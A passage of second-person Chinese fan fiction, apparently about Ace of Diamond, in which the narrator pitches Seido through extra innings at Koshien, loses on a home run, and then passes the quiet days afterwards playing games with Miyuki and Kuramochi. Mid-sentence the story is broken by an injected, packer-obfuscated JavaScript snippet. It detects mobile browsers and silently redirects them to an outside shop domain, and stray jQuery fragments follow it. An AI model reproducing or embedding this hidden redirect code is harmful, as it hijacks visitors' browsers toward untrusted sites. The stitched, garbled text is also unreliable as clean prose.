你回到休息室，和站在门口等你监督对上目光。监督一如既往，还是冷酷的样子：“站在甲子园的投手丘上，你会想什么？”
休息室里说话的声音霎时变小。
你不假思索回答道：“投出百分之一百的球。”
—
第九局正式开始，喇叭上播放着青道更换投手的通知。观众席上隐约传来惊讶和质疑的声音，你没有在意，对你来说，现在更重要的是保持自己投球的状态。
由于你是第九棒，按照顺序轮不到你上场，你站在休息室的角落活动自己的肩膀的同时关注场上情况。
佐藤前辈端来一杯水：“补充点水分。”
“多谢。”
你接过之后，喝掉大半杯，见面前的人没有离开的意思，疑惑地看向他，是有什么话想要对你说吗？
佐藤前辈笑得有点尴尬：“本来是想给你加油的。不过看你的状态，好像不需要。”
你感受了下自己的状态，确实比之前的还要好：“确实不需要，我的状态很好。”
佐藤前辈脸色一僵。
你继续说道：“大概是因为看了前辈的比赛，想表现得比前辈还要好。”
前辈哭笑不得，在你的头上揉了两下：“可恶，你什么时候学会说这种话的。”
你试着躲开前辈的手，但没能躲开：“我说的是实话。”
前辈：“就是因为实话才更加可恶！”
第九局上半局，青道的打线虽然有人上垒，但是还是没能拿下一分。每个从打击区上跑下来的打者，每个都离你离得远远的。
你：“我会守下下半局的。”
泷川前辈用接球的球套拍了拍你的肩膀：“错了，是我们。”
说完率先上场，其他要上场守备的前辈们跟着泷川前辈身后，一个一个从你身边经过的时候，用球套拍了下你的肩膀。
你知道，这是前辈们对你无声的鼓励。
御幸把你的球套递给你，手掌贴住你棒球服后面背号轻轻一推：“去吧。”
你点点头。
—
你站在投手丘上，脚下是红土堆起的圆盘，四周看台如环形剧场的观众席高高耸起。欢呼声宛若海浪，一波又一波朝你涌过来。阳光直射到身上，皮肤泛起刺痛的感觉。
你用脚一点一点整理着投手丘上核心区域的土，注意力随着你的动作集中到身上。
视野一点点收窄，只留下前方的打者和捕手。
那里有你的搭档和你们一起要解决的人。
泷川前辈call了几个直球，确认你的状态没有问题后，第九局下半局正式开始。
你对着泷川前辈的暗号点头，右手掂了掂防滑袋，一道弧线将它轻轻抛到不远处。
球套里调整好握法。
抬腿、跨步、中心轴旋转、甩臂。
白色的光自指尖呼啸而出，在空中划出一道低平的弧线，紧贴着好球带内角低的位置进垒。
“砰！”
白色的球撞进球套发出巨大的声音，好像比你在牛棚练习时的声音还要大。
泷川前辈早有预感，球套微微合拢，稳稳地收下这一颗极为漂亮的球。
他想起上场前御幸对他说的话：“凛的状态非常好。”
即便是心里早有准备，这颗球却依然超出预期。它表现出来的斗志和自信，哪怕是一直在场上比赛的他，也为之一振。
泷川嘴角的笑容更加愉快，他把球抛回给你：“好球！”
随即又观察了下打者的状态，比出下一个暗号。
你对着暗号点头，用胳膊上的内衬擦掉鬓角流出的汗，往下压了压头顶的帽子。
打者迫切想要击中球的斗志，即使是站在投手丘上的你也感觉到了。这也是泷川前辈会要一颗内角滑球的原因吧。
这颗球之前对小凑前辈用过。当时他以为是触身球，立即躲开了。
这一招同样对现在的打者适用。他同样躲开了这一记滑球，看到自己躲开后，球横向进垒，脸色都要都要变青了。
你躲开他那怒气冲冲的眼神，按照泷川前辈的暗号继续投球。
滑球破坏了打者的打击姿势和脑海中对直球的感觉，所以最后一个用一个直球成功解决掉打者。
“一出局！”
“状态很好哦—”
“一个一个来！”
你的状态确实不错，按照泷川前辈给出的暗号投出一颗又一颗球，成功解决掉接下来的两个打者。
九局下半局被你成功守住。
队友欢呼着簇拥着你下场。
比分0:0，你们依然没有分出胜负。比赛进入延长赛。
稍有不慎就会输掉比赛，这样的高压下，让你的状态越来越来好。
你的球速也越来越高，每一次电子屏上显示的球速都会突破上一次的记录，引起一片惊呼。
接收到泷川前辈担忧的眼神后，你摇摇头，示意自己状态很好，让他放心。
第十局，你成功压制对面的打线。对面的投手状态虽然下滑，但是凭借丰富的经验，没能让打线拿分。
比赛依然继续，你已经无力关注打线的情况，走下投手丘，你需要保持住自己的状态。于是你坐在休息室的角落，补充水分和能量后靠在墙上闭目休息，脑内模拟投球。
有时候时间过长，御幸会过来提醒你起来活动下，不要让身体放松的太彻底，偶会会喊你上场打击，然后你被三振下场。更多的是叫你上场投球。
你已经忘记比赛进行到哪里，走上投手丘上的唯一目标是解决面前的打者。
你的状态依然很好—
眼前这一幕像是慢镜头在回放，白色的球在进入本垒的时候迎面撞上用力挥过来的球棒，正中球心，发出极为悦耳的“铛”的声音。
你的目光追逐球的身影，高高地飞过内野的上空，飞过外野的上空，落在防护网上。
好漂亮的全垒打。
你感慨着，下意识看向记分板，两排零格外瞩目，直到十四局下面，有个1的数字。
以最快的速度跑上投手丘的御幸，语速飞快向你解释道：“刚刚那一球，投得完全没有问题，是打者抓住球路。”
来自你胸膛的粗重的喘气声，混合着御幸轻微的喘气音，在你的耳边无限
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696088|205130||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
放大。
你环视场地上的守备前辈们，特别是一直在努力追逐那颗飞出去的球的中外野手田中前辈，跪在地上，抑制不住的低啜声钻进你的耳朵里。你的心里像是被小勾子挠了下，泛起一阵酸涩。
啊，比赛输了。
你后知后觉反应过来。
赛后向对方行礼，握手，对后援会表达感谢，听着他们夸奖这是一场精彩的比赛，并希冀青道明年再来。
回到休息室整理背包，看着三年级的前辈们在橘红色的夕阳里，哭着装甲子园的土。
沉默地坐在返回宾馆的大巴上。
晚上，你接到爸爸妈妈安慰你的电话，向他们表示你没事，无需担心。
洗澡、睡觉。梦里都是那一记被漂亮地击飞出去的全垒打。
沉默着坐在回棒球部的大巴上。甲子园的比赛还在继续，但这一切和你们这些失败者没有什么关系了。
庆祝会上，前辈强颜欢笑安慰大家全国八强的结果还不错，努力把气氛炒起来。
除了御幸，其他前辈没人和你说话。
接下来，棒球部进入休整时间，不强制要求训练，甚至还可以请假回家。
家里人这段时间工作比较忙，就连甲子园的比赛也没办法亲自去现场看。即便你选择是回去没有多少时间相处，所以你留在棒球部。
御幸和仓持也同样留下来。
你本想向往常一样进行训练，却被御幸及时制止，他捏了捏你身上的肌肉：“这段时间身体肯定积累了不少疲惫，要彻底放松才行。”
“所以禁止训练！”
于是你在棒球部无所事事的晃悠，伊佐敷前辈看不下去，搬了一沓漫画书到你的房间：
“这里，各种类型的漫画都有，足够你看一段时间。”
你犹豫了一下：“不用写读后感吧？”
伊佐敷前辈咬牙：“不用！”
晚上，你正在一目十行看漫画，仓持来到你房间，确认你没认真看后，强行把你带走去他的房间：
“我就知道你这个棒球笨蛋，无事可做。”
他往你手里塞了一个游戏柄：“来玩游戏！”
电视上是一款双人闯关游戏。
仓持教了你简单的前进、后退、跳跃的操作后，两人开始游戏之旅。
刚开始，仓持被你的麻瓜操作气得想骂你，忍了两次之后，终于忍不住骂出口。
后来，你渐渐从如何花式坑仓持这件事情上获得乐趣。
在你没注意的地方，身后的门开了又关关了又开。
不知道什么时候，御幸站在你们身后，观摩了会你们玩游戏，眼镜差点从鼻梁上掉下来：“你们真的玩得是同一个游戏吗？”
被你坑得再次化成灵魂的仓持，长长吐出一口气，把游戏手柄往御幸手里一塞：
“你们两个菜鸡互啄吧，我实在是受不了这个笨蛋。”
御幸：？
御幸拿着手柄坐下，你教了他基本的操作后，两人开始游戏之旅。
整整一个晚上，你们俩在互相指责中度过。
而仓持，早就拿着球棒出去练挥棒了。